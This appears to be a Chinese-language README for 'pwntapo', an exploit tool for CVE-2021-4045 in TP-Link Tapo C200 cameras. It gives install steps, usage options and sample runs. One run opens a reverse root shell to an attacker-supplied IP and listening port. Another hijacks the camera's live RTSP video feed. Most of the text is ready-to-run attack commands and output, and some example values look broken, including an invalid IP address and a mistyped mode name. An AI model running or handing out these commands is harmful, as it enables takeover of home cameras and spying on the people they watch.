🔐 "PWNTAPO:揭示 TP-Link Tapo C200 摄像头(<= v1.1.16 Build 211209)中的命令注入漏洞" 🔓
从 exploit db 阅读关于该利用的说明
这是一个命令注入漏洞,影响所有固件版本低于 1.1.16 Build 211209 Rel. 37726N 的 TP-Link Tapo c200 摄像头。要了解更多关于该利用的工作原理,请阅读 hacefresko 上的这篇文章。
git clone https://github.com/B3nj4h/CVE-2021-4045.git
cd CVE-2021-4045
pip install -r requirements.txt
python3 pwntapo.py -h
python3 pwntapo.py -h
============================================================================================
@Pl4inT3XT
_______ ________ ___ ___ ___ __ _ _ ___ _ _ _____
/ ____\ \ / / ____| |__ \ / _ \__ \/_ | | || | / _ \| || | | ____|
| | \ \ / /| |__ ______ ) | | | | ) || |______| || |_| | | | || |_| |__
| | \ \/ / | __|______/ /| | | |/ / | |______|__ _| | | |__ _|___ \
| |____ \ / | |____ / /_| |_| / /_ | | | | | |_| | | | ___) |
\_____| \/ |______| |____|\___/____||_| |_| \___/ |_| |____/
============================================================================================
usage: pwntapo.py [-h] -M M [-U U] [-P P] [-C C] -H H -A A -p P [-v]
PWNTAPO: 揭示 TP-Link Tapo C200 摄像头(<= v1.1.16 Build 211209)中的命令注入漏洞
options:
-h, --help 显示此帮助信息并退出
-M M 攻击模式:shell | rtsp(默认:无)
-U U RTSP_USER(默认:无)
-P P RTSP_PASSWORD(默认:无)
-C C RTSP_CIPHERTEXT(默认:无)
-H H 受害者 IP 地址(默认:无)
-A A 攻击者 IP 地址(默认:无)
-p P 监听端口(默认:无)
-v 增加输出详细程度(默认:False)
该利用有两个模式:SHELL 和 RTSP。
在 shell 模式下,只需提供受害者 IP、攻击者 IP 和监听端口,即可在设备上获得一个 root shell。
python3 pwntapo.py -M shell -H 192.168.110.121 -A 172.334.121.10 -p 1887
============================================================================================
@Pl4inT3XT
_______ ________ ___ ___ ___ __ _ _ ___ _ _ _____
/ ____\ \ / / ____| |__ \ / _ \__ \/_ | | || | / _ \| || | | ____|
| | \ \ / /| |__ ______ ) | | | | ) || |______| || |_| | | | || |_| |__
| | \ \/ / | __|______/ /| | | |/ / | |______|__ _| | | |__ _|___ \
| |____ \ / | |____ / /_| |_| / /_ | | | | | |_| | | | ___) |
\_____| \/ |______| |____|\___/____||_| |_| \___/ |_| |____/
============================================================================================
[+] 在端口 1887 上监听...
[+] 向 192.168.110.121 发送反弹 shell...
Listening on 0.0.0.0 1887
在 RTSP 模式下,你需要提供 RTSP_USER、PASSWORD 和 CIPHERTEXT,以便获取摄像头的实时画面。
python3 pwntapo.py -M shelrstp -H 192.168.110.121 -A 192.168.110.131 -p 1887 -U pwneduser -P pwnedpasswd -C RUW5pUYSBm4gt+5T7bzwEq5r078rcdhSvpJrmtqAKE2mRo8bvvOLfYGnr5GNHfANBeFNEHhucnsK86WJTs4xLEZMbxUS73gPMTYRsEBV4EaKt2f5h+BkSbuh0WcJTHl5FWMbwikslj6qwTX48HasSiEmotK+v1N3NLokHCxtU0k=
============================================================================================
@Pl4inT3XT
_______ ________ ___ ___ ___ __ _ _ ___ _ _ _____
/ ____\ \ / / ____| |__ \ / _ \__ \/_ | | || | / _ \| || | | ____|
| | \ \ / /| |__ ______ ) | | | | ) || |______| || |_| | | | || |_| |__
| | \ \/ / | __|______/ /| | | |/ / | |______|__ _| | | |__ _|___ \
| |____ \ / | |____ / /_| |_| / /_ | | | | | |_| | | | ___) |
\_____| \/ |______| |____|\___/____||_| |_| \___/ |_| |____/
============================================================================================
[+] 正在设置 RTSP 视频流...